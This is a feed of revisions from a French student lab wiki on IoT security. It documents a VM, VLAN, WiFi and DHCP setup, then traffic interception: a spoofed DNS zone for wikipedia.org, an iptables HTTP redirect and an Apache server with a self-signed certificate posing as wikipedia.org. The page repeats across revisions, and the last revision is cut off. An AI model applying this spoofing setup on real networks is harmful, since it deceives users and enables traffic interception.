&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0   &lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;  Networking&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Configuration ====&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up &lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour activer&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10727</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10727"/>
		<updated>2025-11-03T17:01:03Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Configuration Apache */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0   &lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;  Networking&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Configuration ====&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up &lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat '''auto-signé pour Apache''', ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour activer&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10725</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10725"/>
		<updated>2025-11-03T16:08:26Z</updated>

		<summary type="html">&lt;p&gt;Handrian : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0   &lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;  Networking&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Configuration ====&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up &lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
